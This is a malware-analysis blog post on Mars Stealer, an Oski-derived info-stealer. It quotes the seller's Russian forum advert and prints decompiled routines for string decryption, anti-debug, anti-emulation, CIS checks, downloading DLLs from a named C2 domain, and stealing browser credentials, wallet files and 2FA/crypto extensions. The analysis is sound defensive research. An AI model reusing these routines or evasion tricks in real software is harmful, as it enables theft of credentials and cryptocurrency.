

Mars Stealer: Oski refactoring

 3xp0rt.com/posts/mars-stealer

3xp0rt

February 1, 2022

Feb 1, 2022

Introduction

On approximately July 2, 2020, Oski support has stopped contacting customers and deleted a telegram account and bot. This was supposed to attract attention because such large projects don't just go away (for example KPOT Stealer and Predator The Thief).

When I found a sample of Mars Stealer, I noticed that it's just an improved copy of Oski Stealer. As I expected at the last time Mars is gaining popularity, therefore I decided to write a technical analysis of this newcomer. Enjoy reading!

Technical overview

Mars Stealer written in ASM/C with using WinApi, weight is 95 kb. Uses special techniques to hide WinApi calls, encrypts strings, collects information in the memory, supports secured SSL-connection with C&C, doesn't use CRT, STD.

Browsers (supports Chrome V80):

Internet Explorer, Microsoft Edge (Chromium Version), Kometa, Amigo, Torch, Orbitium, Comodo Dragon, Nichrome, Maxxthon5, Maxxthon6, Sputnik Browser, Epic Privacy Browser, Vivaldi, CocCoc, Uran Browser, QIP Surf, Cent Browser, Elements Browser, TorBro Browser, CryptoTab Browser, Brave, Opera Stable, Opera GX, Opera Neon, Firefox, SlimBrowser, PaleMoon, Waterfox, CyberFox, BlackHawk, IceCat, K-Meleon, Thunderbird.

Crypto extensions:

TronLink, MetaMask, Binance Chain Wallet, Yoroi, Nifty Wallet, Math Wallet, Coinbase Wallet, Guarda, EQUAL Wallet, Jaox Liberty, BitAppWllet, iWallet, Wombat, MEW CX, Guild Wallet, Saturn Wallet, Ronin Wallet, Neoline, Clover Wallet, Liquality Wallet, Terra Station, Keplr, Sollet, Auro Wallet, Polymesh Wallet, ICONex, Nabox Wallet, KHC, Temple, TezBox Cyano Wallet, Byone, OneKey, Leaf Wallet, DAppPlay, BitClip, Steem Keychain, Nash Extension, Hycon Lite Client, ZilPay, Coin98 Wallet.

2FA plugins:

Authenticator, Authy, EOS Authenticator, GAAuth Authenticator, Trezor Password Manager.

Crypto wallets:

Bitcoin Core and all derivatives (Dogecoin, Zcash, DashCore, Litecoin, etc), Ethereum, Electrum, Electrum LTC, Exodus, Electron Cash, MultiDoge, JAXX, Atomic, Binance, Coinomi.

Computer information:

- IP and country
- Working path to EXE file
- Local time and time zone
- Language system
- Language keyboard layout

- Notebook or desktop
- Processor model
- Computer name
- User name
- Domain computer name
- Machine ID
- GUID
- Installed software and their versions

Additional functional:

- Files grabber
- Loader

Mars Stealer — нативный, нерезидентный стиллер с функционалом лодера и грабера

22 Июнь 2021

Наш софт разрабатывался с учетом пожеланий людей, работающих по крипте, поэтому в Mars вы можете найти всё необходимое для работы с криптой и не только.

ВНИМАНИЕ! МЫ НЕ РАБОТАЕМ ПО СНГ И ВАМ НЕ СОВЕТУЕМ!

Mars написан на ASM/C WinAPI, весит всего 95kb (упакованный в UPX 40kb), использует техники для скрытия запросов к WinAPI, шифрует используемые строки, собирает весь лог в памяти, а так же поддерживает защищенное SSL-соединение с командным сервером. Не используются crt, std.

Список поддерживаемых браузеров:
 Internet Explorer, Microsoft Edge
 Google Chrome, Chromium, Microsoft Edge (Chromium version), Kometa, Amigo, Torch, Orbitum, Comodo Dragon, Nichrome, Maxthon5, Maxthon6, Sputnik Browser, Epic Privacy Browser, Vivaldi, CocCoc, Uran Browser, QIP Surf, Cent Browser, Elements Browser, TorBro Browser, CryptoTab Browser, Brave Browser.
 Opera Stable, Opera GX, Opera Neon.
 Firefox, SlimBrowser, PaleMoon, Waterfox, Cyberfox, BlackHawk, IceCat, KMeleon, Thunderbird.

Собирает пароли, куки, сс, автозаполнение, историю посещения сайтов, историю скачивания файлов. Поддерживаются все последние обновления браузеров, включая Chrome v80.

Важным функционалом, выделяющим нас на фоне конкурентов является сбор плагинов браузеров с упором на **плагины-криптокошельки и 2FA-плагины.**

Список поддерживаемых крипто-плагинов:
 TronLink, MetaMask, Binance Chain Wallet, Yoroi, Nifty Wallet, Math Wallet, Coinbase Wallet, Guarda, EQUAL Wallet, Jaxx Liberty, BitAppWallet, iWallet, Wombat, MEW CX, Guild Wallet, Saturn Wallet, Ronin Wallet, NeoLine, Clover Wallet, Liquidity Wallet, Terra Station, Keplr, Sollet, Auro Wallet, Polymesh Wallet, ICONex, Nabox Wallet, KHC, Temple, TezBox, Cyano Wallet, Byone, OneKey, Leaf Wallet, DAppPlay, BitClip, Steem Keychain, Nash Extension, Hycon Lite Client, ZilPay, Coin98 Wallet.

Список 2FA-плагинов:
 Authenticator, Authy, EOS Authenticator, GAuth Authenticator, Trezor Password Manager.

Список поддерживаемых крипто-кошельков:
 Bitcoin Core и все производные (Dogecoin, Zcash, DashCore, Litecoin, и так далее), Ethereum, Electrum, Electrum LTC, Exodus, Electron Cash, MultiDoge, JAXX, Atomic, Binance, Coinomi.

Софт собирает цифровой отпечаток компьютера:
 — IP и страну
 — Рабочий путь до EXE-файла Mars в процессе работы
 — Локальное время на ПК и временную зону
 — Язык системы
 — Языковые раскладки клавиатуры
 — Ноутбук/Десктоп
 — Модель процессора

Obfuscation techniques

Strings encryption

Most strings are encrypted using combinations of RC4 and Base64. The decryption key of RC4 is stored in the `decrypt_key` variable that was declared in the Run-Time Dynamic Linking function. In this case, the decryption key is `86223203794583053453`.

```
1 LPVOID __cdecl decrypt_string(int string)
2 {
3     BYTE *string_binary; // eax
4     HANDLE ProcessHeap; // eax
5     LPVOID lpAddress; // [esp+0h] [ebp-114h] BYREF
6     char b64_decrypted[268]; // [esp+4h] [ebp-110h] BYREF
7     DWORD flOldProtect; // [esp+110h] [ebp-4h] BYREF
8
9     func_memset(b64_decrypted, 0x104u);
10    string_binary = string_to_binary(string);
11    base64_decrypt(b64_decrypted, string_binary);
12    ProcessHeap = GetProcessHeap();
13    lpAddress = HeapAlloc(ProcessHeap, 0, 0x104u);
14    flOldProtect = 0;
15    VirtualProtect(lpAddress, 4u, 0x100u, &flOldProtect);
16    rc4_decrypt(b64_decrypted, decrypt_key, &lpAddress);
17    func_memset(b64_decrypted, 0x104u);
18    return lpAddress;
19 }
```

Anti-analysis techniques

Run-Time Dynamic Linking

The first called function from `WinMain` declares decryption key for encrypted strings and unencrypted strings, which contain names of WinApi functions for Run-Time Dynamic Linking.

```
1 void strings_start()
2 {
3     decrypt_key = "86223203794583053453";
4     LoadLibraryA_str = "LoadLibraryA";
5     GetProcAddress_str = "GetProcAddress";
6     ExitProcess_str = "ExitProcess";
7     advapi32_dll_str = "advapi32.dll";
8     crypt32_dll_str = "crypt32.dll";
9     GetTickCount_str = "GetTickCount";
10    Sleep_str = "Sleep";
11    GetUserDefaultLangID_str = "GetUserDefaultLangID";
12    CreateMutexA_str = "CreateMutexA";
13    GetLastError_str = "GetLastError";
14    HeapAlloc_str = "HeapAlloc";
15    GetProcessHeap_str = "GetProcessHeap";
16    GetComputerNameA_str = "GetComputerNameA";
17    VirtualProtect_str = "VirtualProtect";
18    GetUserNameA_str = "GetUserNameA";
19    CryptStringToBinaryA_str = "CryptStringToBinaryA";
20 }
```

Mars gets a module handle of `kernel32.dll` by parsing `InLoadOrderModuleList` which usually contains `kernel32` library as its 3rd element (0x18 address). After obtaining the base address of `kernel32.dll`, it parses the PE file and loops over the exported functions of the DLL to get the address of the `LoadLibraryA()` and `GetProcAddress()` functions.

After procedures with `kernel32` functions, `LoadLibraryA()` loads `advapi32.dll` library and gets the address of the `GetUserNameA()` for anti-emulation check. The same thing program does with `crypt32.dll` and gets the address of `CryptStringToBinaryA()` for strings decryption.

```

1 HMODULE linking_start()
2 {
3     HMODULE result; // eax
4
5     kerndel32_handle = get_kernel32_handle();
6     if ( kerndel32_handle )
7     {
8         LoadLibraryA = GetProcAddressPIC(kerndel32_handle, LoadLibraryA_str);
9         GetProcAddress = GetProcAddressPIC(kerndel32_handle, GetProcAddress_str);
10        GetTickCount = GetProcAddress(kerndel32_handle, GetTickCount_str);
11        Sleep = GetProcAddress(kerndel32_handle, Sleep_str);
12        GetUserDefaultLangID = GetProcAddress(kerndel32_handle, GetUserDefaultLangID_str);
13        CreateMutexA = GetProcAddress(kerndel32_handle, CreateMutexA_str);
14        GetLastError = GetProcAddress(kerndel32_handle, GetLastError_str);
15        ExitProcess = GetProcAddress(kerndel32_handle, ExitProcess_str);
16        HeapAlloc = GetProcAddress(kerndel32_handle, HeapAlloc_str);
17        GetProcessHeap = GetProcAddress(kerndel32_handle, GetProcessHeap_str);
18        GetComputerNameA = GetProcAddress(kerndel32_handle, GetComputerNameA_str);
19        VirtualProtect = GetProcAddress(kerndel32_handle, VirtualProtect_str);
20    }
21    advapi32_dll = LoadLibraryA(advapi32_dll_str);
22    result = LoadLibraryA(crypt32_dll_str);
23    crypt32_dll = result;
24    if ( advapi32_dll )
25    {
26        result = GetProcAddress(advapi32_dll, GetUserNameA_str);
27        GetUserNameA = result;
28    }
29    if ( crypt32_dll )
30    {
31        result = GetProcAddress(crypt32_dll, CryptStringToBinaryA_str);
32        CryptStringToBinaryA = result;
33    }
34    return result;
35 }

```

Timing-based anti-debug

Malware initializes a double word (4 bytes) and calls the `GetTickCount()` function that returns the number of milliseconds that have elapsed since the system has started. Then calls the `Sleep()` to suspend the execution of the current thread until 15000 milliseconds (15 seconds). `GetTickCount()` again gets the time and malware uses the first result to subtract then checks if a gotten number is greater than 10000 milliseconds (10 seconds). If the function returns true, it means that the `Sleep()` hasn't been skipped by the debugger and malware continues execution flow.

```

1 BOOL antidebug_sleep()
2 {
3     DWORD TickCount; // [esp+4h] [ebp-4h]
4
5     TickCount = GetTickCount();
6     Sleep(15000u);
7     return GetTickCount() - TickCount > 10000;
8 }

```

Anti-emulation

Anti-emulation is used to avoid running in the Windows Defender emulator. Malware compares the current computer name with `HAL9TH` and the username with `JohnDoe`. If the computer name and username have coincided, the malware finishes execution.

```

1 BOOL anti_emulation()
2 {
3     LPSTR ComputerName; // eax
4     CHAR *UserName; // eax
5     BOOL result; // eax
6
7     ComputerName = func_GetComputerName();
8     result = 0;
9     if ( !compare_strings(ComputerName, "HAL9TH") )
10    {
11        UserName = func_GetUserName();
12        if ( !compare_strings(UserName, "JohnDoe") )
13            return 1;
14    }
15    return result;
16 }

```

Security checks

Anti-CIS

This feature is used to avoid infection of machines from the Commonwealth of Independent States (CIS) by using `GetUserDefaultLangID()` that returns the language identifier of the region format setting for the current user. If the user language ID matches one from the list, the stealer finishes execution.

```

1 int cis_check()
2 {
3     unsigned int UserDefaultLangID; // [esp+0h] [ebp-8h]
4     int result; // [esp+4h] [ebp-4h]
5
6     result = 1;
7     UserDefaultLangID = GetUserDefaultLangID();
8     if ( UserDefaultLangID > 1087 ) // Kazakhstan kk-KZ
9     {
10        if ( UserDefaultLangID == 0x443 ) // Uzbekistan us-Latb-US
11        {
12            return 0;
13        }
14        else if ( UserDefaultLangID == 0x82C ) // Azerbaijan az-Cyrl-AZ
15        {
16            return 0;
17        }
18    }
19    else
20    {
21        switch ( UserDefaultLangID )
22        {
23            case 0x43Fu: // Kazakhstan kk-KZ
24                return 0;
25            case 0x419u: // Russia ru-RU
26                return 0;
27            case 0x423u: // Belarus ru-BY
28                return 0;
29        }
30    }
31    return result;
32 }

```

Language ID	Language-tag	Country
0x43F	kk-KZ	Kazakhstan
0x443	us-Latb-US	Uzbekistan
0x82C	az-Cyrl-AZ	Azerbaijan
0x43Fu	kk-KZ	Kazakhstan
0x419u	ru-RU	Russia

Language ID	Language-tag	Country
0x423u	ru-BY	Belarus

Mutex

If all checks have passed, the malware creates a mutex object using `CreateMutexA()` to avoid repeat launch. Mutex name is the same as a strings decryption key, but they are stored in different variables. Then calls `GetLastError()` which gets the last error, and if the error code is equal to 183 (`ERROR_ALREADY_EXIST`) it means that mutex already exists therefore malware finishes execution.

```

1 BOOL create_mutex()
2 {
3     CreateMutexA(0, 0, mutex_key);           // 86223203794583053453
4     return GetLastError() != 183;
5 }

```

Expiration check

The `compilation_date` variable contains `28/08/2021 00:00:00`. The month on this date has increased by 1 unit, so malware can't run after a month of compilation. Accordingly, this sample was compiled not on `28/08/2021`, but on `28/07/2021`.

Mars uses `GetSystemTime()` to put current system time to a struct, then calls `sscanf()` to parse the compilation date. `SystemTimeToFileTime()` is used to convert the current date and compilation date from system time to file time format.

If the current file time is bigger than the compile time, the malware calls `ExitProcess()` to finish the process.

```

1 BOOL expiration_check()
2 {
3     BOOL result; // eax
4     SYSTEMTIME compilation_system_time; // [esp+0h] [ebp-138h] BYREF
5     struct _SYSTEMTIME current_system_time; // [esp+10h] [ebp-128h] BYREF
6     CHAR String1[264]; // [esp+20h] [ebp-118h] BYREF
7     struct _FILETIME current_file_time; // [esp+128h] [ebp-10h] BYREF
8     struct _FILETIME compilation_file_time; // [esp+130h] [ebp-8h] BYREF
9
10    func_memset(String1, 0x104u);
11    memset(&current_system_time, 0, sizeof(current_system_time));
12    memset(&compilation_system_time, 0, sizeof(compilation_system_time));
13    current_file_time = 0i64;
14    compilation_file_time = 0i64;
15    GetSystemTime(&current_system_time);
16    lstrcatA(String1, compilation_date);           // 28/08/2021 00:00:00
17    sscanf(
18        String1,
19        sscanf_time_format,
20        &compilation_system_time.wDay,
21        &compilation_system_time.wMonth,
22        &compilation_system_time.wHour,
23        &compilation_system_time.wMinute,
24        &compilation_system_time.wSecond);           // %.u/%hu/%hu %hu:%hu:%hu
25
26    SystemTimeToFileTime(&current_system_time, &current_file_time);
27    result = SystemTimeToFileTime(&compilation_system_time, &compilation_file_time);
28    if ( * &current_file_time > * &compilation_file_time )
29        ExitProcess(0);
30    return result;
31 }

```

External DLLs

When stealing Gecko browsers credentials, the malware makes 6 requests using WinINet library to download dependencies from the public folder and saves them in the ProgramData folder, but `sqlite3.dll` is downloading before chrome stealing starts. At the end of execution, malware deletes mentioned DLLs and finishes execution.

```

● 10 func_memset(freebl3_url, 0x104u);
● 11 func_memset(mozglue_url, 0x104u);
● 12 func_memset(msvcp140_url, 0x104u);
● 13 func_memset(nss3_url, 0x104u);
● 14 func_memset(softokn3_url, 0x104u);
● 15 func_memset(vcruntime140_url, 0x104u);
● 16 lstrcatA(freebl3_url, http);
● 17 lstrcatA(freebl3_url, domain);
● 18 lstrcatA(freebl3_url, public_freebl3_dll_path);
● 19 lstrcatA(mozglue_url, http);
● 20 lstrcatA(mozglue_url, domain);
● 21 lstrcatA(mozglue_url, public_mozglue_dll_path);
● 22 lstrcatA(msvcp140_url, http);
● 23 lstrcatA(msvcp140_url, domain);
● 24 lstrcatA(msvcp140_url, public_msvc140_dll_path);
● 25 lstrcatA(nss3_url, http);
● 26 lstrcatA(nss3_url, domain);
● 27 lstrcatA(nss3_url, public_nss3_dll_path);
● 28 lstrcatA(softokn3_url, http);
● 29 lstrcatA(softokn3_url, domain);
● 30 lstrcatA(softokn3_url, public_softokn3_dll_path);
● 31 lstrcatA(vcruntime140_url, http);
● 32 lstrcatA(vcruntime140_url, domain);
● 33 lstrcatA(vcruntime140_url, public_vcruntime140_dll_path);
● 34 download_file(freebl3_url, freebl3_path);
● 35 download_file(mozglue_url, mozglue_path);
● 36 download_file(msvcp140_url, msvc140_path);
● 37 download_file(nss3_url, nss3_path);
● 38 download_file(softokn3_url, softokn3_path);
● 39 download_file(vcruntime140_url, vcruntime140_path);
● 40 func_memset(freebl3_url, 0x104u);
● 41 func_memset(mozglue_url, 0x104u);
● 42 func_memset(msvcp140_url, 0x104u);
● 43 func_memset(nss3_url, 0x104u);
● 44 func_memset(softokn3_url, 0x104u);
● 45 return func_memset(vcruntime140_url, 0x104u);

```

DLL name	Download url	Save path	Description
sqlite3.dll	http://cookreceipts.fun/public/sqlite3.dll	C:\ProgramData\sqlite3.dll	Library for chromium data
freebl3.dll	http://cookreceipts.fun/public/freebl3.dll	C:\ProgramData\freebl3.dll	Library for the NSS (Gecko-based)
mozglue.dll	http://cookreceipts.fun/public/mozglue.dll	C:\ProgramData\mozglue.dll	Mozilla Browser Library
msvcp140.dll	http://cookreceipts.fun/public/msvc140.dll	C:\ProgramData\msvc140.dll	Visual C++ Runtime 2015
nss3.dll	http://cookreceipts.fun/public/nss3.dll	C:\ProgramData\nss3.dll	Network System Services Library (Gecko-based)

DLL name	Download url	Save path	Description
softokn3.dll	http://cookreceipts.fun/public/softokn3.dll	C:\ProgramData\softokn3.dll	Mozilla Browser Library
vcruntime140.dll	http://cookreceipts.fun/public/vcruntime140.dll	C:\ProgramData\vcruntime140.dll	Visual C++ Runtime 2015

Stealing functional

Browsers

Mars steals credentials from Chromium and Gecko browsers by static paths, therefore it supports only the most popular.

```

1 BOOL __cdecl browsers(int heap_address)
2 {
3     HANDLE ProcessHeap; // eax
4     int heap_len; // eax
5
6     ProcessHeap = GetProcessHeap();
7     lpMultiByteStr = HeapAlloc(ProcessHeap, 0, 0xF423Fu);
8     sqlite3_dynamic_linking();
9     download_gecko_flag = 0;
10    chromium(chrome_path, chrome_name, heap_address);
11    chromium(chromium_path, chromium_name, heap_address);
12    chromium(edge_path, edge_name, heap_address);
13    chromium(kometa_path, kometa_name, heap_address);
14    chromium(amigo_path, amigo_name, heap_address);
15    chromium(torch_path, torch_name, heap_address);
16    chromium(orbitium_path, orbitium_name, heap_address);
17    chromium(comodo_path, comodo_name, heap_address);
18    chromium(nichrome_path, nichrome_name, heap_address);
19    chromium(maxthon5_path, maxthon5_name, heap_address);
20    chromium(sputnik_path, sputnik_name, heap_address);
21    chromium(epb_path, epb_name, heap_address);
22    chromium(vivaldi_path, vivaldi_name, heap_address);
23    chromium(coccoc_path, coccoc_name, heap_address);
24    chromium(uran_path, uran_name, heap_address);
25    chromium(qip_path, qip_name, heap_address);
26    chromium(cent_path, cent_name, heap_address);
27    chromium(elements_path, elements_name, heap_address);
28    chromium(torbro_path, torbro_name, heap_address);
29    chromium(cryptotab_path, cryptotab_name, heap_address);
30    chromium(brave_path, brave_name, heap_address);
31    opera(opera_path, opera_name, heap_address);
32    opera(operagx_path, operagx_name, heap_address);
33    chromium(operaneon_path, operaneon_name, heap_address);
34    gecko(firefox_path, firefox_name, heap_address);
35    gecko(slimbrowser_path, slimbrowser_name, heap_address);
36    gecko(palemoon_path, palemoon_name, heap_address);
37    gecko(waterfox_path, waterfox_name, heap_address);
38    gecko(cyberfox_path, cyberfox_name, heap_address);
39    gecko(blackhawk_path, blackhawk_name, heap_address);
40    gecko(icecat_path, icecat_name, heap_address);
41    gecko(kmelon_path, kmelon_name, heap_address);
42    gecko(thunderbird_path, thunderbird_name, heap_address);
43    browsers_data();
44    heap_len = lstrlenA(lpMultiByteStr);
45    write_data(heap_address, password_txt_file, lpMultiByteStr, heap_len);
46    func_memset(&lpMultiByteStr, 4u);
47    FreeLibrary_sqlite3();
48    return FreeLibrary_nss3(); // FreeLibrary(nss3_handle)
49 }

```

Browser name Browser folder

Browser name	Browser folder
Chrome	%localappdata%\Google\Chrome\User Data
Chromium	%localappdata%\Chromium\User Data
Microsoft Edge	%localappdata%\Microsoft\Edge\User Data
Kometa	%localappdata%\Kometa\User Data
Amigo	%localappdata%\Amigo\User Data
Torch	%localappdata%\Torch\User Data
Orbitum	%localappdata%\Orbitum\User Data
Comodo	%localappdata%\Comodo\Dragon\User Data
Nichrome	%localappdata%\Nichrome\User Data
Maxthon5	%localappdata%\Maxthon5\Users
Sputnik	%localappdata%\Sputnik\User Data
Epic Privacy Browser	%localappdata%\Epic Privacy Browser\User Data
Vivaldi	%localappdata%\Vivaldi\User Data
CocCoc	%localappdata%\CocCoc\Browser\User Data
Uran	%localappdata%\uCozMedia\Uran\User Data
QIP Surf	%localappdata%\QIP Surf\User Data
Cent Browser	%localappdata%\CentBrowser\User Data
Elements Browser	%localappdata%\Elements Browser\User Data
TorBro	%localappdata%\TorBro\Profile
CryptoTab Browser	%localappdata%\CryptoTab Browser\User Data
Brave	%localappdata%\BraveSoftware\Brave-Browser\User Data
Opera	%appdata%\Opera Software\Opera Stable\
Opera GX	%appdata%\Opera Software\Opera GX Stable\
Opera Neon	%appdata%\Opera Software\Opera Neon\User Data
Firefox	%appdata%\Mozilla\Firefox\Profiles\
SlimBrowser	%appdata%\FlashPeak\SlimBrowser\Profiles
Pale Moon	%appdata%\Moonchild Productions\Pale Moon\Profiles\
Waterfox	%appdata%\Waterfox\Profiles\
Cyberfox	%appdata%\8pecstudios\Cyberfox\Profiles\
BlackHawk	%appdata%\NETGATE Technologies\BlackHawk\Profiles\
IceCat	%appdata%\Mozilla\icecat\Profiles\

Browser name	Browser folder
K-Meleon	%appdata%\K-Meleon\
Thunderbird	%appdata%\Thunderbird\Profiles\

2FA/crypto extensions

This malware also targets 2FA and crypto extensions, but only in Chromium-based browsers (opera is an exception).

```

1 HANDLE __cdecl chromium_extensions(int user_data_path, int browser_name, int heap_address)
2 {
3     steal_extensions(tronlink_id, tronlink_name, user_data_path, browser_name, heap_address);
4     steal_extensions(metamask_id, metamask_name, user_data_path, browser_name, heap_address);
5     steal_extensions(binance_wallet_id, binance_wallet_name, user_data_path, browser_name, heap_address);
6     steal_extensions(yoroi_id, yoroi_name, user_data_path, browser_name, heap_address);
7     steal_extensions(nitfy_id, nitfy_name, user_data_path, browser_name, heap_address);
8     steal_extensions(math_id, math_name, user_data_path, browser_name, heap_address);
9     steal_extensions(coinbase_id, coinbase_name, user_data_path, browser_name, heap_address);
10    steal_extensions(guarda_id, guarda_name, user_data_path, browser_name, heap_address);
11    steal_extensions(equal_id, equal_name, user_data_path, browser_name, heap_address);
12    steal_extensions(jaxx_id, jaxx_liberty_name, user_data_path, browser_name, heap_address);
13    steal_extensions(bitapp_id, bitapp_name, user_data_path, browser_name, heap_address);
14    steal_extensions(iwallet_id, iwallet_name, user_data_path, browser_name, heap_address);
15    steal_extensions(wombat_id, wombat_name, user_data_path, browser_name, heap_address);
16    steal_extensions(mew_id, mew_name, user_data_path, browser_name, heap_address);
17    steal_extensions(guild_id, guild_name, user_data_path, browser_name, heap_address);
18    steal_extensions(saturn_id, saturn_name, user_data_path, browser_name, heap_address);
19    steal_extensions(ronin_id, ronin_name, user_data_path, browser_name, heap_address);
20    steal_extensions(neoline_id, neoline_name, user_data_path, browser_name, heap_address);
21    steal_extensions(clover_id, clover_name, user_data_path, browser_name, heap_address);
22    steal_extensions(liquality_id, liquality_name, user_data_path, browser_name, heap_address);
23    steal_extensions(terra_id, terra_name, user_data_path, browser_name, heap_address);
24    steal_extensions(keplr_id, keplr_name, user_data_path, browser_name, heap_address);
25    steal_extensions(sollet_id, sollet_name, user_data_path, browser_name, heap_address);
26    steal_extensions(auro_id, auro_name, user_data_path, browser_name, heap_address);
27    steal_extensions(polymesh_id, polymesh_name, user_data_path, browser_name, heap_address);
28    steal_extensions(iconex_id, iconex_name, user_data_path, browser_name, heap_address);
29    steal_extensions(nabox_id, nabox_name, user_data_path, browser_name, heap_address);
30    steal_extensions(khc_id, khc_name, user_data_path, browser_name, heap_address);
31    steal_extensions(temple_id, temple_name, user_data_path, browser_name, heap_address);
32    steal_extensions(tezbox_id, tezbox_name, user_data_path, browser_name, heap_address);
33    steal_extensions(cyano_id, cyano_name, user_data_path, browser_name, heap_address);
34    steal_extensions(byone_id, byone_name, user_data_path, browser_name, heap_address);
35    steal_extensions(onekey_id, onekey_name, user_data_path, browser_name, heap_address);
36    steal_extensions(leafwallet_id, leafwallet_name, user_data_path, browser_name, heap_address);
37    steal_extensions(dappplay_id, dappplay_name, user_data_path, browser_name, heap_address);
38    steal_extensions(bitclip_id, bitclip_name, user_data_path, browser_name, heap_address);
39    steal_extensions(steem_id, steem_name, user_data_path, browser_name, heap_address);
40    steal_extensions(nash_id, nash_name, user_data_path, browser_name, heap_address);
41    steal_extensions(hycon_id, hycon_name, user_data_path, browser_name, heap_address);
42    steal_extensions(zilpay_id, zilpay_name, user_data_path, browser_name, heap_address);
43    steal_extensions(coin98_id, coin98_name, user_data_path, browser_name, heap_address);
44    steal_extensions(authenticator_id, authenticator_name, user_data_path, browser_name, heap_address);
45    steal_extensions(authy_id, authy_name, user_data_path, browser_name, heap_address);
46    steal_extensions(eos_id, eos_name, user_data_path, browser_name, heap_address);
47    steal_extensions(gauth_id, gauth_name, user_data_path, browser_name, heap_address);
48    return steal_extensions(trezor_id, trezor_name, user_data_path, browser_name, heap_address);
49 }

```

Type	Extension name	Extension id
Crypto	TronLink	ibnejdfjmmkpcnlpebklmknkoeiohofec
Crypto	MetaMask	nkbinhfbeogaeaoehlefnkodbefgpgknn
Crypto	Binance Chain Wallet	fhbohimaelfbohpjbbldcngcnapndodjp
Crypto	Yoroi	ffnbelfdoeiohenkijbnmadjiejhajb

Type	Extension name	Extension id
Crypto	Nifty Wallet	jbdaocneiiniimbjlgalhcelgbejmnid
Crypto	Math Wallet	afbcbjpbpfadlkmhmlhkeeodmamcflc
Crypto	Coinbase Wallet	hnfanknocfeofbddgcijnmhnfnkdnaad
Crypto	Guarda	hpglfhgnhbogpjenjgmdgoeiappafln
Crypto	EQUAL Wallet	blnieiiffboillknjnegogjkhknoapac
Crypto	Jaxx Liberty	cjelfplplebdjjenllpjcbmljkfcffne
Crypto	BitApp Wallet	fihkakfobkkmkjopchpfgcmhfjnmnmpi
Crypto	iWallet	kncchdigobghenbbaddojjnaogfppfj
Crypto	Wombat	amkmjimmflddogmhpjloimipbofnjih
Crypto	MEW CX	nlbmnijcnlegkjjpcfjclmcfggfefdm
Crypto	GuildWallet	nanjmdknkinifnkgdcggcfnhdaammj
Crypto	Saturn Wallet	nkddgncdjgjfcdamfgcmfnlhccnimig
Crypto	Ronin Wallet	fnjhmkhhmkbjkkabndcnnogagobneec
Crypto	NeoLine	cphhlgmgameodnhkjdmkpanelnlohao
Crypto	Clover Wallet	nhnkbgjikgcigadomkphalanndcapjk
Crypto	Liquidity Wallet	kpfopkelmapcoipemfendmdcghnegimn
Crypto	Terra Station	aiifbnfbobpmeekipheeijimdplpgpp
Crypto	Keplr	dmkamcknogkgcdfhhbdcghachkejeap
Crypto	Sollet	fhmfendgdocmcbmfikdcogofphimnkno
Crypto	Auro Wallet	cnmamaachppnkjgnildpdmkaakejnhae
Crypto	Polymesh Wallet	jojhfloedkpkglbfimdfabpdfjaoolaf
Crypto	ICONex	flpicilemghbmfalicajoolhikkenfel
Crypto	Nabox Wallet	nknhiehlkippafakaeklbeglecifhad
Crypto	KHC	hcflpincpppdclinealmandijcmnkbgn
Crypto	Temple	ookjlbkiiijnhpmnjffcofjonbfbgaoc
Crypto	TezBox	mnfifekajgofkckjemidiaecocnkjeh
Crypto	Cyano Wallet	dkdedlpgdmmkffjabffeganieamflkm
Crypto	Byone	nlgbhdfgdhgbiamfdmbikcdghidoadd
Crypto	OneKey	infeboajgfhgjbpbpeppbkgnabfdkdaf
Crypto	LeafWallet	cihmoadaighcejopammfbdmddcmdekcje
Crypto	DAppPlay	lodccjjbdhfakaekdiahmedfbieldgik

Type	Extension name	Extension id
Crypto	BitClip	ijmpgkjkfbfhoebgogflfebnejmfbml
Crypto	Steem Keychain	lkcjlnjfbikmcmcbachjpdbijeflpcm
Crypto	Nash Extension	onofpnbbkehpmmoabgpcpmigafmmnjhl
Crypto	Hycon Lite Client	bcopgchhojmggmffilplmbdicgaihlkp
Crypto	ZilPay	klnaejjgbibmhlephnhpmaofohgkpgkd
Crypto	Coin98 Wallet	aeachknmefphecpcionboohckonoemg
2FA	Authenticator	bhghoamapcdpbohphigoooadinpkbai
2FA	Authy	gaedmjdfrmahhbjeafbgaolhhanlaolb
2FA	EOS Authenticator	oeljldpnmdbchonieliidgobddffflal
2FA	GAAuth Authenticator	ilgcnhelpchnceeiipijaljkblbcobl
2FA	Trezor Password Manager	imloifkgjagghnncjkhggdhalmcnfkkl

Wallets

The malware targets multiple wallets, which stores sensitive data in files as `wallet.dat` that contains the address, the private key to access this address, and other data.

```

1 HANDLE __cdecl wallets(int heap_address)
2 {
3     CHAR appdata_path[264]; // [esp+0h] [ebp-108h] BYREF
4
5     steal_wallet(0, ethereum_name, ethereum_path, ethereum_file, heap_address); // Ethereum \Ethereum\ keystore
6     steal_wallet(0, electrum_name, electrum_path, electrum_file, heap_address); // Electrum, \Electrum\wallets\, *.*
7     steal_wallet(0, electrumltc_name, electrumltc_path, electrum_file, heap_address); // ElectrumLTC, \Electrum-LTC\wallets\, *.*
8     steal_wallet(0, exodus_name, exodus_path, exodus_file1, heap_address); // Exodus, \Exodus\, exodus.conf.json
9     steal_wallet(0, exodus_name, exodus_path, exodus_file2, heap_address); // Exodus, \Exodus\, window-state.json
10    steal_wallet(0, exodus_name, exodus_file_path, exodus_file3, heap_address); // Exodus, \Exodus\, passphrase.json
11    steal_wallet(0, exodus_name, exodus_file_path, exodus_file4, heap_address); // Exodus, \Exodus\, seed.seco
12    steal_wallet(0, exodus_name, exodus_file_path, exodus_file5, heap_address); // Exodus, \Exodus\, info.seco
13    steal_wallet(0, electroncash_name, electroncash_path, electroncash_file, heap_address); // ElectronCash, \ElectronCash\wallets\, default_wallet
14    steal_wallet(0, multidoge_name, multidoge_path, multidoge_file, heap_address); // MultiDoge, \MultiDoge\, multidoge.wallet
15    steal_wallet(0, jaxx_name, jaxx_path, jaxx_file, heap_address); // JAXX, \jaxx\Local Storage\, file_0.localstorage
16    steal_wallet(0, atomic_name, atomic_path, atomic_file1, heap_address); // Atomic, \atomic\Local Storage\leveldb\, 000003.log
17    steal_wallet(0, atomic_name, atomic_path, atomic_file2, heap_address); // Atomic, \atomic\Local Storage\leveldb\, CURRENT
18    steal_wallet(0, atomic_name, atomic_path, atomic_file3, heap_address); // Atomic, \atomic\Local Storage\leveldb\, LOCK
19    steal_wallet(0, atomic_name, atomic_path, atomic_file4, heap_address); // Atomic, \atomic\Local Storage\leveldb\, LOG
20    steal_wallet(0, atomic_name, atomic_path, atomic_file5, heap_address); // Atomic, \atomic\Local Storage\leveldb\, MANIFEST.000001
